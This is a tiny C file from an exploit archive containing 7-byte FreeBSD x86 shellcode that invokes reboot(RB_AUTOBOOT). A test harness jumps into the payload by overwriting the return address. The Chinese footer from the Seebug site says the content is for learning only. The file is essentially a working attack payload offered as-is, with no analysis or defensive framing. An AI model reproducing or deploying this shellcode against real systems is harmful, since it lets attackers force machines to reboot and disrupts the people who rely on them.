/* * * FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes) * * by IZ <guerrilla.sytes.net> * */ char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\xb0\x37" /* mov $0x37,%al */ "\xcd\x80"; /* int $0x80 */ void main() { int* ret; ret = (int*) &ret + 2; printf("len %d\n",strlen(shellcode)); (*ret) = (int) shellcode; } // milw0rm.com [2006-04-19]
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论